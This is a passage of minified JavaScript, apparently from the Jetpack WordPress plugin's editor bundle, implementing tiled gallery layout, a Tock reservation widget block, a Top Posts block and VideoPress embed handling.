__(&quot;image %1$d of %2$d in gallery&quot;,&quot;jetpack&quot;),t+1,o.length),y=a?l.A:i.A,{src:x,srcSet:j}=(0,c.A)(e,{layoutStyle:d});return(0,p.jsx)(y,{alt:e.alt,&quot;aria-label&quot;:k,columns:s,height:e.height,id:e.id,imageFilter:r,isFirstItem:0===t,isLastItem:t+1===o.length,isSelected:b===t,link:e.link,linkTo:u,customLink:e.customLink,onMoveBackward:a?void 0:h(t),onMoveForward:a?void 0:m(t),onRemove:a?void 0:g(t),onSelect:a?void 0:f(t),origUrl:e.url,setAttributes:a?void 0:v(t),showMovers:o.length&gt;1,srcSet:j,url:x,width:e.width},t)}render(){const{align:e,children:t,className:s,columns:r,images:n,layoutStyle:i,roundedCorners:l,onResize:h,style:m,isSave:g,columnWidths:f}=this.props,b=(0,c.s)(i)?d.A:u.A,v=this.props.images.map(this.renderImage,this),k=i!==a.aQ?Math.min(l,a.WN):0;return(0,p.jsxs)(&quot;div&quot;,{style:m,className:(0,o.A)(s,{[`has-rounded-corners-${k}`]:k&gt;0}),children:[(0,p.jsx)(b,{align:e,columns:r,columnWidths:g?f:void 0,images:n,layoutStyle:i,renderedImages:v,onResize:g?void 0:h}),t]})}}},31238(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(86087),n=s(94107),o=s(98627),a=s(54359),i=s(43645),l=s(74176),c=s(18980),u=s(10790);class d extends r.Component{gallery=(0,r.createRef)();pendingRaf=null;ro=null;componentDidMount(){this.observeResize()}componentWillUnmount(){this.unobserveResize()}componentDidUpdate(e){(e.images!==this.props.images||e.align!==this.props.align||&quot;columns&quot;===this.props.layoutStyle&amp;&amp;e.columns!==this.props.columns)&amp;&amp;this.triggerResize()}handleGalleryResize=e=&gt;{this.pendingRaf&amp;&amp;(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null),this.pendingRaf=requestAnimationFrame(()=&gt;{for(const{contentRect:t,target:s}of e){const{width:e}=t,r=[];(0,c.S)(s).forEach(t=&gt;{r.push((0,c.r)(t,e))}),void 0!==this.props.onResize&amp;&amp;this.props.onResize(r)}})};triggerResize(){this.gallery.current&amp;&amp;this.handleGalleryResize([{target:this.gallery.current,contentRect:{width:this.gallery.current.clientWidth}}])}observeResize(){this.triggerResize(),this.ro=new n.A(this.handleGalleryResize),this.gallery.current&amp;&amp;this.ro.observe(this.gallery.current)}unobserveResize(){this.ro&amp;&amp;(this.ro.disconnect(),this.ro=null),this.pendingRaf&amp;&amp;(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null)}getColumnWidths(e,t,s){let r=0;return e.map(e=&gt;e.map(e=&gt;{const s=t.slice(r,r+e);return r+=e,s})).map(e=&gt;(0,c.r)(e,s))}render(){const{align:e,columns:t,images:s,layoutStyle:n,renderedImages:c}=this.props,d=(0,l.mJ)(s),p=&quot;columns&quot;===n?(0,l.FL)(d,t):(0,l.VU)(d,{isWide:[&quot;full&quot;,&quot;wide&quot;].includes(e)}),h=r.Platform.select({web:()=&gt;this.props.columnWidths,native:()=&gt;this.getColumnWidths(p,c,1e3)})();let m=0;return(0,u.jsx)(a.A,{galleryRef:this.gallery,children:p.map((e,t)=&gt;(0,u.jsx)(i.A,{children:e.map((e,s)=&gt;{const r=c.slice(m,m+e);return m+=e,(0,u.jsx)(o.A,{width:h?.[t]?.[s],children:r},s)})},t))})}}},74176(e,t,s){&quot;use strict&quot;;s.d(t,{FL:()=&gt;a,VU:()=&gt;C,mJ:()=&gt;n});var r=s(66087);function n(e){return e.map(o)}function o({height:e,width:t}){return e&amp;&amp;t?t/e:1}function a(e,t){if(e.length&lt;=t)return[Array(e.length).fill(1)];const s=(0,r.sum)(e)/t,n=[];let o=e,a=0;for(let e=0;e&lt;t-1;e++){const t=(0,r.takeWhile)(o,t=&gt;{const r=a&lt;=(e+1)*s;return r&amp;&amp;(a+=t),r}).length;n.push(t),o=o.slice(t)}return n.push(o.length),[n]}const i=A([2,1,2],5),l=S([E,E,N,E,E]),c=S([E,E,E,N,E,E,E]),u=A([3,1,3],5),d=S([N,E,E,N]),p=A([1,2,1],5),h=S([N,E,E,E]),m=A([1,3],3),g=S([E,E,E,N]),f=A([3,1],3),b=S([B(1.6),(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2))]),v=A([1,2],3),k=A([1,1,1,1,1],1),y=A([1,1,1,1],1),x=A([1,1,1],3),j=S([(0,r.overEvery)(T(.9),B(2)),(0,r.overEvery)(T(.9),B(2)),B(1.6)]),w=A([2,1],3),_=S([function(e){return e&gt;=2}]);function C(e,{isWide:t}={}){const s=(e,n)=&gt;{if(!n.length)return e;let o;o=n.length&gt;15&amp;&amp;l(n)&amp;&amp;i(e)?[2,1,2]:n.length&gt;15&amp;&amp;c(n)&amp;&amp;u(e)?[3,1,3]:5!==n.length&amp;&amp;d(n)&amp;&amp;p(e)?[1,2,1]:h(n)&amp;&amp;m(e)?[1,3]:g(n)&amp;&amp;f(e)?[3,1]:b(n)&amp;&amp;v(e)?[1,2]:t&amp;&amp;(5===n.length||10!==n.length&amp;&amp;n.length&gt;6)&amp;&amp;k(e)&amp;&amp;(0,r.sum)(n.slice(0,5))&lt;5?[1,1,1,1,1]:function(e,t){const s=(0,r.sum)(t.slice(0,4));return y(e)&amp;&amp;s&lt;3.5&amp;&amp;t.length&gt;5||s&lt;7&amp;&amp;4===t.length}(e,n)?[1,1,1,1]:function(e,t,s){const n=(0,r.sum)(t.slice(0,3));return t.length&gt;=3&amp;&amp;4!==t.length&amp;&amp;6!==t.length&amp;&amp;x(e)&amp;&amp;(n&lt;2.5||n&lt;5&amp;&amp;t.length&gt;=3&amp;&amp;t[0]===t[2]||s)}(e,n,t)?[1,1,1]:j(n)&amp;&amp;w(e)?[2,1]:_(n)?[1]:n.length&gt;3?[1,1]:Array(n.length).fill(1);const a=e.concat([o]),C=(0,r.sum)(o),A=n.slice(C);return s(a,A)};return s([],e)}function A(e,t){return s=&gt;!s.slice(-t).some(t=&gt;(0,r.isEqual)(t,e))}function S(e){return t=&gt;t.length&gt;=e.length&amp;&amp;(0,r.zipWith)(e,t.slice(0,e.length),(e,t)=&gt;e(t)).every(Boolean)}function E(e){return e&gt;=1&amp;&amp;e&lt;2}function N(e){return e&lt;1}function T(e){return t=&gt;t&gt;=e}function B(e){return t=&gt;t&lt;e}},18980(e,t,s){&quot;use strict&quot;;s.d(t,{S:()=&gt;a,r:()=&gt;o});var r=s(35463);function n(e,t){const s=(t-e.reduce((e,t)=&gt;e+t,0))/e.length;return e.map(e=&gt;e+s)}function o(e,t){return function(e,[t,s],o){const a=2*r.hE*(e.childElementCount-1),d=o-a;return function(e,{rawHeight:t,rowWidth:s}){const o=i(e),a=o.map(e=&gt;(t-r.hE*(e.childElementCount-1))*c(e)[0]),d=n(a,s);o.forEach((e,s)=&gt;{const o=a[s],i=d[s];!function(e,{colHeight:t,width:s,rawWidth:r}){const o=l(e).map(e=&gt;r/u(e)),a=n(o,t);Array.from(e.children).forEach((e,t)=&gt;{const r=a[t];e.setAttribute(&quot;style&quot;,`height:${r}px;width:${s}px;`)})}(e,{colHeight:t-r.hE*(e.childElementCount-1),width:i,rawWidth:o})});return d.map(e=&gt;parseFloat(e/s*100).toFixed(5))}(e,{rawHeight:1/t*(d-s),rowWidth:d})}(e,function(e){const t=i(e).map(c).reduce(([e,t],[s,r])=&gt;[e+s,t+r],[0,0]);return t}(e),t)}function a(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__row&quot;))}function i(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__col&quot;))}function l(e){return Array.from(e.querySelectorAll(&quot;.tiled-gallery__item &gt; img, .tiled-gallery__item &gt; a &gt; img&quot;))}function c(e){const t=l(e),s=t.length,r=1/t.map(u).reduce((e,t)=&gt;e+1/t,0);return[r,r*s||1]}function u(e){const t=parseInt(e.dataset.width,10),s=parseInt(e.dataset.height,10);return t&amp;&amp;!Number.isNaN(t)&amp;&amp;s&amp;&amp;!Number.isNaN(s)?t/s:1}},43645(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(10790);function o({children:e,className:t}){return(0,n.jsx)(&quot;div&quot;,{className:(0,r.A)(&quot;tiled-gallery__row&quot;,t),children:e})}},56366(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(66087),n=s(35463),o=s(98627),a=s(54359),i=s(43645),l=s(10790);function c({columns:e,renderedImages:t}){const s=Math.min(n.ZS,e),c=t.length%s;return(0,l.jsx)(a.A,{children:[...c?[t.slice(0,c)]:[],...(0,r.chunk)(t.slice(c),s)].map((e,t)=&gt;(0,l.jsx)(i.A,{className:`columns-${e.length}`,children:e.map((e,t)=&gt;(0,l.jsx)(o.A,{children:e},t))},t))})}},9888(e,t,s){&quot;use strict&quot;;function r(e){return[&quot;columns&quot;,&quot;circle&quot;,&quot;square&quot;].includes(e)}s.d(t,{o:()=&gt;r})},96589(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(13022),o=s(90907),a=s(35463),i=s(29520),l=s(10309),c=s(10790);function u({attributes:e}){const{imageFilter:t,images:s}=e;if(!s.length)return null;const{align:u,className:d,columns:p=(0,i.EB)(e),linkTo:h,roundedCorners:m,columnWidths:g}=e,f=r.useBlockProps.save();return(0,c.jsx)(&quot;div&quot;,{...f,className:(0,n.A)(f.className,d),children:(0,c.jsx)(l.A,{align:u,columns:p,imageFilter:t,images:s,isSave:!0,layoutStyle:(0,o.D)(a.kc,d),linkTo:h,roundedCorners:m,columnWidths:g})})}},90256(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p,s:()=&gt;d});var r=s(97999),n=s(85985),o=s(63162),a=s(47143),i=s(14936),l=s(13087),c=s(35463);let u;function d(e){return[&quot;circle&quot;,&quot;square&quot;].includes(e)}function p(e,t={}){if(!e.height||!e.width)return e.url?{src:e.url}:{};if((0,l.A)())return{src:e.url};if((0,o.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url)||(0,r.isWoASite)()&amp;&amp;(0,n.pP)())return{src:e.url};const s=e.url.split(&quot;?&quot;,1)[0],{height:a,width:p}=e,{layoutStyle:m}=t,g=!0===function(){let e;void 0!==u?e=u:&quot;undefined&quot;!=typeof jetpack_plan&amp;&amp;(e=jetpack_plan);return e&amp;&amp;&quot;vip&quot;===e?.data}()||(0,r.isSimpleSite)()?h:i.A;let f;if(d(m)&amp;&amp;p&amp;&amp;a){const e=Math.min(c.rK,p,a);f=g(s,{resize:`${e},${e}`})}else f=g(s);let b=[];if(d(m)){const e=Math.min(600,p,a),t=Math.min(c.rK,p,a);for(let r=e;r&lt;t;r+=300){const e=g(s,{resize:`${r},${r}`,strip:&quot;info&quot;});e&amp;&amp;b.push(`${e} ${r}w`)}}else{const e=Math.min(600,p),t=Math.min(c.rK,p);for(let r=e;r&lt;t;r+=300){const e=g(s,{strip:&quot;info&quot;,width:r});e&amp;&amp;b.push(`${e} ${r}w`)}}return b=b.join(&quot;,&quot;),Object.assign({src:f},b&amp;&amp;{srcSet:b})}function h(e,t={}){const s={width:&quot;w&quot;,height:&quot;h&quot;,letterboxing:&quot;lb&quot;,removeLetterboxing:&quot;ulb&quot;},r=Object.assign(new URL(e,window.location.href),{username:&quot;&quot;,password:&quot;&quot;,port:&quot;&quot;,search:&quot;&quot;,hash:&quot;&quot;});for(const[e,n]of Object.entries(t))r.searchParams.set(Object.hasOwn(s,e)?s[e]:e,n);return r.toString()}window.addEventListener(&quot;load&quot;,function(){(0,a.select)(&quot;core/block-editor&quot;).getBlocks().some(e=&gt;&quot;jetpack/image-compare&quot;===e.name)&amp;&amp;!u&amp;&amp;(u=window?.Jetpack_Editor_Initial_State?.jetpack?.jetpack_plan)})},40118(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(375),l=s(48558),c=(s(33362),s(10790));const __=a.__,u=({tockUrl:e,setEditedUrl:t,setUrl:s,cancel:r})=&gt;{const a=(0,o.useRef)(!0),u=(0,o.useRef)(!1),d=e=&gt;{s(),u.current=!0,e()};return(0,c.jsx)(n.ToolbarGroup,{children:(0,c.jsx)(n.Dropdown,{popoverProps:{variant:&quot;toolbar&quot;},onClose:()=&gt;u.current?u.current=!1:r(),placement:&quot;bottom-start&quot;,renderToggle:({isOpen:t,onToggle:s})=&gt;(!a.current||t||e||(a.current=!1,s()),(0,c.jsx)(n.ToolbarButton,{className:&quot;components-toolbar__control&quot;,label:__(&quot;Edit Tock business name&quot;,&quot;jetpack&quot;),onClick:()=&gt;{s(),t&amp;&amp;r()},children:__(&quot;Edit&quot;,&quot;jetpack&quot;)})),renderContent:({onClose:s})=&gt;(0,c.jsx)(n.BaseControl,{className:&quot;jetpack-tock-url-settings&quot;,help:(0,o.createInterpolateElement)(__(&quot;The Tock business can be found in the URL of your public Tock page. For example: www.exploretock.com/&lt;b&gt;myname&lt;/b&gt;&quot;,&quot;jetpack&quot;),{b:(0,c.jsx)(&quot;strong&quot;,{})}),__nextHasNoMarginBottom:!0,children:(0,c.jsxs)(&quot;div&quot;,{className:&quot;jetpack-tock-url-input-wrapper&quot;,children:[(0,c.jsx)(n.TextControl,{placeholder:__(&quot;Add Tock business name&quot;,&quot;jetpack&quot;),onChange:t,value:e,onKeyDownCapture:t=&gt;((t,s)=&gt;{const{keyCode:n}=t;n===l.ENTER&amp;&amp;&quot;&quot;!==e&amp;&amp;(t.preventDefault(),d(s)),n===l.ESCAPE&amp;&amp;(t.preventDefault(),r(),s())})(t,s),className:&quot;jetpack-tock-url-input&quot;,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,c.jsx)(&quot;div&quot;,{className:&quot;jetpack-tock-url-input-action&quot;,children:(0,c.jsx)(n.Button,{type:&quot;submit&quot;,label:__(&quot;Submit&quot;,&quot;jetpack&quot;),icon:i.A,className:&quot;jetpack-tock-url-input-submit&quot;,onClick:()=&gt;d(s)})})]})})})})},d=({url:e,popoverAnchor:t})=&gt;{const s=`\n\t\t&lt;div id=&quot;Tock_widget_container&quot; data-tock-display-mode=&quot;Button&quot; data-tock-color-mode=&quot;Blue&quot; data-tock-locale=&quot;en-us&quot; data-tock-timezone=&quot;America/New_York&quot; style=&quot;display:inline-block;&quot;&gt;&lt;/div&gt;\n\t\t&lt;script src=&quot;https://www.exploretock.com/tock.js&quot; async&gt;&lt;\/script&gt;\n\t\t&lt;script&gt;\n\t\t\t!function(t,o){if(!t.tock){var e=t.tock=function(){e.callMethod?\n\t\t\t  e.callMethod.apply(e,arguments):e.queue.push(arguments)};t._tock||(t._tock=e),\n\t\t\t  e.push=e,e.loaded=!0,e.version=&#039;1.0&#039;,e.queue=[];}}(window,document);\n\t\t\ttock(&#039;init&#039;, &#039;${e}&#039;);\n\t\t&lt;\/script&gt;\n\t`;return(0,c.jsxs)(&quot;div&quot;,{ref:t,children:[(0,c.jsx)(n.SandBox,{html:s},`tock-${e}`),(0,c.jsx)(&quot;div&quot;,{className:&quot;block-library-embed__interactive-overlay&quot;})]})};function p({attributes:e,setAttributes:t,isSelected:s}){const n=e.url??&quot;&quot;,[a,i]=(0,o.useState)(n),l=(0,o.useCallback)(()=&gt;{i(n)},[n]);return(0,o.useEffect)(()=&gt;{s||l()},[s,l]),(0,c.jsxs)(&quot;div&quot;,{...(0,r.useBlockProps)(),children:[(0,c.jsx)(r.BlockControls,{children:(0,c.jsx)(u,{tockUrl:a,setEditedUrl:i,setUrl:()=&gt;{const e=a.replace(/.*exploretock.com\//,&quot;&quot;);i(e),t({url:e})},cancel:l})}),(0,c.jsx)(d,{url:n})]})}},4595(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(86525),o=s(40118),a=s(10790);(0,r.M)(n,{edit:o.A,save:()=&gt;(0,a.jsx)(&quot;div&quot;,{id:&quot;Tock_widget_container&quot;,&quot;data-tock-display-mode&quot;:&quot;Button&quot;,&quot;data-tock-color-mode&quot;:&quot;Blue&quot;,&quot;data-tock-locale&quot;:&quot;en-us&quot;,&quot;data-tock-timezone&quot;:&quot;America/New_York&quot;})})},20600(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;l,O:()=&gt;i});var r=s(56427),n=s(86087),o=s(27723),a=s(10790);const __=o.__;function i({attributes:e,setAttributes:t,postTypesData:s,toggleAttributes:i,setToggleAttributes:l}){const{displayAuthor:c,displayContext:u,displayDate:d,displayThumbnail:p,period:h,postsToShow:m}=e,[g,f]=(0,n.useState)(!1);if(!s)return;const b=[{label:__(&quot;Last 24 hours&quot;,&quot;jetpack&quot;),value:&quot;1&quot;},{label:__(&quot;Last 48 hours&quot;,&quot;jetpack&quot;),value:&quot;2&quot;},{label:__(&quot;Last 7 days&quot;,&quot;jetpack&quot;),value:&quot;7&quot;},{label:__(&quot;Last 30 days&quot;,&quot;jetpack&quot;),value:&quot;30&quot;},{label:__(&quot;Last 90 days&quot;,&quot;jetpack&quot;),value:&quot;90&quot;},{label:__(&quot;Last year&quot;,&quot;jetpack&quot;),value:&quot;365&quot;},{label:__(&quot;All-time&quot;,&quot;jetpack&quot;),value:&quot;all-time&quot;}];return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsxs)(r.PanelBody,{title:__(&quot;Block settings&quot;,&quot;jetpack&quot;),children:[(0,a.jsx)(r.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Number of items&quot;,&quot;jetpack&quot;),value:m,onChange:e=&gt;t({postsToShow:Math.min(e,10)}),min:1,max:10}),(0,a.jsx)(r.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Stats period&quot;,&quot;jetpack&quot;),value:h,onChange:e=&gt;t({period:e}),options:b})]}),(0,a.jsxs)(r.PanelBody,{title:__(&quot;Items to display&quot;,&quot;jetpack&quot;),children:[s.map(e=&gt;{return(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,o.sprintf)(/* translators: %s: Content type (eg. post/page). */
__(&quot;Display %s&quot;,&quot;jetpack&quot;),e.label.toLowerCase()),checked:i[e.id]||!1,onChange:(s=e.id,e=&gt;{const r={...i,[s]:e};if(Object.values(r).every(e=&gt;!1===e))return f(!0);l(r),t({postTypes:r}),f(!1)})},e.id);var s}),g&amp;&amp;(0,a.jsx)(r.Notice,{className:&quot;jetpack-top-posts__error&quot;,status:&quot;error&quot;,isDismissible:!1,children:__(&quot;At least one item must be selected.&quot;,&quot;jetpack&quot;)})]}),(0,a.jsxs)(r.PanelBody,{title:__(&quot;Metadata settings&quot;,&quot;jetpack&quot;),children:[(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Display date&quot;,&quot;jetpack&quot;),checked:d,onChange:e=&gt;t({displayDate:e})}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Display author&quot;,&quot;jetpack&quot;),checked:c,onChange:e=&gt;t({displayAuthor:e})}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Display context&quot;,&quot;jetpack&quot;),checked:u,onChange:e=&gt;t({displayContext:e})}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Display thumbnail&quot;,&quot;jetpack&quot;),checked:p,onChange:e=&gt;t({displayThumbnail:e})})]})]})}function l({attributes:e,setAttributes:t}){const{layout:s}=e,n=[{icon:&quot;grid-view&quot;,title:__(&quot;Grid view&quot;,&quot;jetpack&quot;),onClick:()=&gt;t({layout:&quot;grid&quot;}),isActive:&quot;grid&quot;===s},{icon:&quot;list-view&quot;,title:__(&quot;List view&quot;,&quot;jetpack&quot;),onClick:()=&gt;t({layout:&quot;list&quot;}),isActive:&quot;list&quot;===s}];return(0,a.jsx)(r.ToolbarGroup,{controls:n})}},96894(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(85985),n=s(1455),o=s.n(n),a=s(94715),i=s(86087),l=s(13022),c=s(9522),u=s(20600),d=s(8031),p=(s(88460),s(40282),s(10790));function h(e){return(0,p.jsxs)(&quot;div&quot;,{className:&quot;jetpack-top-posts-item&quot;,children:[e.displayThumbnail&amp;&amp;e.thumbnail&amp;&amp;(0,p.jsx)(&quot;a&quot;,{className:&quot;jetpack-top-posts-thumbnail-link&quot;,children:(0,p.jsx)(&quot;img&quot;,{className:&quot;jetpack-top-posts-thumbnail&quot;,src:e.thumbnail,alt:e.title,rel:&quot;nofollow noopener noreferrer&quot;,target:&quot;_blank&quot;})}),e.displayThumbnail&amp;&amp;!e.thumbnail&amp;&amp;(0,p.jsx)(&quot;a&quot;,{className:&quot;jetpack-top-posts-thumbnail-link&quot;,children:(0,p.jsx)(&quot;div&quot;,{className:&quot;jetpack-top-posts-mock-thumbnail&quot;})}),(0,p.jsx)(&quot;span&quot;,{className:&quot;jetpack-top-posts-title&quot;,children:(0,p.jsx)(&quot;a&quot;,{children:e.title})}),e.displayDate&amp;&amp;(0,p.jsx)(&quot;span&quot;,{className:&quot;jetpack-top-posts-date has-small-font-size&quot;,children:e.date}),e.displayAuthor&amp;&amp;(0,p.jsx)(&quot;span&quot;,{className:&quot;jetpack-top-posts-author has-small-font-size&quot;,children:e.author}),e.displayContext&amp;&amp;e.context&amp;&amp;(0,p.jsx)(&quot;span&quot;,{className:&quot;jetpack-top-posts-context has-small-font-size&quot;,children:(0,p.jsx)(&quot;a&quot;,{children:e.context[0].cat_name})})]})}const m=function({attributes:e,setAttributes:t}){const{isLoadingModules:s,isChangingStatus:n,isModuleActive:m,changeStatus:g}=(0,r.q7)(&quot;stats&quot;),f=(0,a.useBlockProps)(),{className:b}=f,[v,k]=(0,i.useState)(),[y,x]=(0,i.useState)(),[j,w]=(0,i.useState)(),[_,C]=(0,i.useState)({}),{displayAuthor:A,displayContext:S,displayDate:E,displayThumbnail:N,layout:T,period:B,postsToShow:P,postTypes:I}=e;let M;return(0,i.useEffect)(()=&gt;{o()({path:&quot;/wpcom/v2/post-types&quot;}).then(e=&gt;{w(e),e.forEach(e=&gt;{I&amp;&amp;I[e.id]&amp;&amp;C(t=&gt;({...t,[e.id]:!0}))})})},[I]),(0,i.useEffect)(()=&gt;{m&amp;&amp;o()({path:`/wpcom/v2/top-posts?period=${B}`}).then(e=&gt;{k(e)})},[B,m]),(0,i.useEffect)(()=&gt;{const e=v;if(!e)return;const t=[];for(let s=0;t.length!==P&amp;&amp;(e[s]&amp;&amp;I[e[s].type]&amp;&amp;t.push((0,p.jsx)(h,{title:e[s].title,date:e[s].date,author:e[s].author,thumbnail:e[s].thumbnail,context:e[s].context,displayDate:E,displayAuthor:A,displayThumbnail:N,displayContext:S},&quot;jetpack-top-posts-&quot;+e[s].id)),e[s]);s++);x(t)},[A,S,E,N,v,I,P,x]),M=m||s?y?(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)(a.InspectorControls,{children:(0,p.jsx)(u.O,{attributes:e,setAttributes:t,toggleAttributes:_,setToggleAttributes:C,postTypesData:j})}),(0,p.jsx)(a.BlockControls,{children:(0,p.jsx)(u.G,{attributes:e,setAttributes:t})}),(0,p.jsx)(&quot;div&quot;,{&quot;data-item-count&quot;:y.length,children:(0,p.jsx)(&quot;div&quot;,{className:&quot;jetpack-top-posts-wrapper&quot;,children:y})})]}):(0,p.jsx)(c.G,{}):(0,p.jsx)(d.k,{className:b,changeStatus:g,isLoading:n}),(0,p.jsx)(&quot;div&quot;,{...f,className:(0,l.A)(b,`is-${T}-layout`),children:M})}},99883(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(35075),a=s(96894);(0,n.M)(o,{edit:a.A,save:()=&gt;null,transforms:{from:[{type:&quot;block&quot;,blocks:[&quot;core/legacy-widget&quot;],isMatch:({idBase:e,instance:t})=&gt;!!t?.raw&amp;&amp;&quot;top-posts&quot;===e,transform:({instance:e})=&gt;{const t=e.raw.title?(0,r.createBlock)(&quot;core/heading&quot;,{content:e.raw.title,level:3}):null,s=(0,r.createBlock)(&quot;jetpack/top-posts&quot;,{displayAuthor:!1,displayDate:!1,displayThumbnail:&quot;text&quot;!==e.raw.display,layout:&quot;grid&quot;===e.raw.display?&quot;grid&quot;:&quot;list&quot;,period:&quot;2&quot;,postsToShow:e.raw.count,postTypes:e.raw.types.reduce((e,t)=&gt;(e[t]=!0,e),{})});return t?[t,s]:s}}]}})},8031(e,t,s){&quot;use strict&quot;;s.d(t,{k:()=&gt;c});var r=s(97999),n=s(85985),o=s(56427),a=s(27723),i=s(35075),l=s(10790);const __=a.__,c=({className:e,isLoading:t,changeStatus:s})=&gt;{const a=(0,r.isWoASite)()?&quot;https://wordpress.com/support/stats/&quot;:&quot;https://jetpack.com/support/jetpack-stats/&quot;;return(0,l.jsx)(&quot;div&quot;,{className:e,children:(0,l.jsxs)(o.Placeholder,{icon:(0,n.sh)(i),instructions:__(&quot;You&#039;ll need to activate the Stats module to use this block.&quot;,&quot;jetpack&quot;),label:i.title,children:[(0,l.jsx)(o.Button,{disabled:t,isBusy:t,onClick:()=&gt;s(!0),variant:&quot;secondary&quot;,children:t?__(&quot;Activating Stats&quot;,&quot;jetpack&quot;):__(&quot;Activate Stats&quot;,&quot;jetpack&quot;,0)}),(0,l.jsx)(&quot;div&quot;,{className:&quot;components-placeholder__learn-more&quot;,children:(0,l.jsx)(o.ExternalLink,{href:a,children:__(&quot;Learn more about the Stats module.&quot;,&quot;jetpack&quot;)})})]})})}},81837(e,t,s){&quot;use strict&quot;;s.d(t,{Z:()=&gt;o,f:()=&gt;a});var r=s(86087),n=s(10790);const o=(0,r.createContext)(),a=({onFilesSelected:e,onMediaItemSelected:t,onUploadFinished:s,children:r})=&gt;(0,n.jsx)(o.Provider,{value:{onFilesSelected:e,onMediaItemSelected:t,onUploadFinished:s},children:r})},74628(e,t,s){&quot;use strict&quot;;s.d(t,{C1:()=&gt;r,NF:()=&gt;n});const r=[{ratio:&quot;2.33&quot;,className:&quot;wp-embed-aspect-21-9&quot;},{ratio:&quot;2.00&quot;,className:&quot;wp-embed-aspect-18-9&quot;},{ratio:&quot;1.77&quot;,className:&quot;wp-embed-aspect-16-9&quot;},{ratio:&quot;1.33&quot;,className:&quot;wp-embed-aspect-4-3&quot;},{ratio:&quot;1.00&quot;,className:&quot;wp-embed-aspect-1-1&quot;},{ratio:&quot;0.56&quot;,className:&quot;wp-embed-aspect-9-16&quot;},{ratio:&quot;0.50&quot;,className:&quot;wp-embed-aspect-1-2&quot;}],n={PUBLIC:0,PRIVATE:1,SITE_DEFAULT:2}},59257(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={attributes:{autoplay:{type:&quot;boolean&quot;},caption:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;figcaption&quot;},controls:{type:&quot;boolean&quot;,default:!0},guid:{type:&quot;string&quot;},id:{type:&quot;number&quot;},loop:{type:&quot;boolean&quot;},muted:{type:&quot;boolean&quot;},poster:{type:&quot;string&quot;},preload:{type:&quot;string&quot;,default:&quot;metadata&quot;},src:{type:&quot;string&quot;}},support:{reusable:!1},save:s(12804).A,isDeprecation:!0}},12804(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o({attributes:e}){const{caption:t,guid:s}=e;if(!s)return null;const o=`https://videopress.com/v/${s}`;return(0,n.jsxs)(&quot;figure&quot;,{className:&quot;wp-block-embed is-type-video is-provider-videopress&quot;,children:[(0,n.jsx)(&quot;div&quot;,{className:&quot;wp-block-embed__wrapper&quot;,children:`\n${o}\n`}),!r.RichText.isEmpty(t)&amp;&amp;(0,n.jsx)(r.RichText.Content,{tagName:&quot;figcaption&quot;,value:t})]})}},21440(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(69479),n=s(31481);const o={attributes:{autoplay:{type:&quot;boolean&quot;},caption:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;figcaption&quot;},controls:{type:&quot;boolean&quot;,default:!0},guid:{type:&quot;string&quot;},id:{type:&quot;number&quot;},loop:{type:&quot;boolean&quot;},muted:{type:&quot;boolean&quot;},playsInline:{type:&quot;boolean&quot;},poster:{type:&quot;string&quot;},preload:{type:&quot;string&quot;,default:&quot;metadata&quot;},src:{type:&quot;string&quot;},videoPressClassNames:{type:&quot;string&quot;},align:{type:&quot;wide&quot;}},support:{reusable:!1},isEligible:({videoPressClassNames:e,guid:t})=&gt;t&amp;&amp;void 0===e,migrate:e=&gt;{const{className:t,videoPressClassNames:s}=e;return{...e,...(0,n.j)(t,s)}},save:r.A,isDeprecation:!0}},69479(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(77473),o=s(10790);function a(e){const{attributes:{autoplay:t,caption:s,controls:a,guid:i,loop:l,muted:c,poster:u,preload:d,videoPressClassNames:p}={}}=e;if(!i)return null;const h=(0,n.e)(i,{autoplay:t,controls:a,loop:l,muted:c,poster:u,preload:d});return(0,o.jsxs)(&quot;figure&quot;,{className:p,children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;wp-block-embed__wrapper&quot;,children:`\n${h}\n`}),!r.RichText.isEmpty(s)&amp;&amp;(0,o.jsx)(r.RichText.Content,{tagName:&quot;figcaption&quot;,value:s})]})}},77473(e,t,s){&quot;use strict&quot;;s.d(t,{e:()=&gt;n});var r=s(93832);const n=(e,{autoplay:t,controls:s,loop:n,muted:o,poster:a,preload:i})=&gt;{if(!e)return null;const 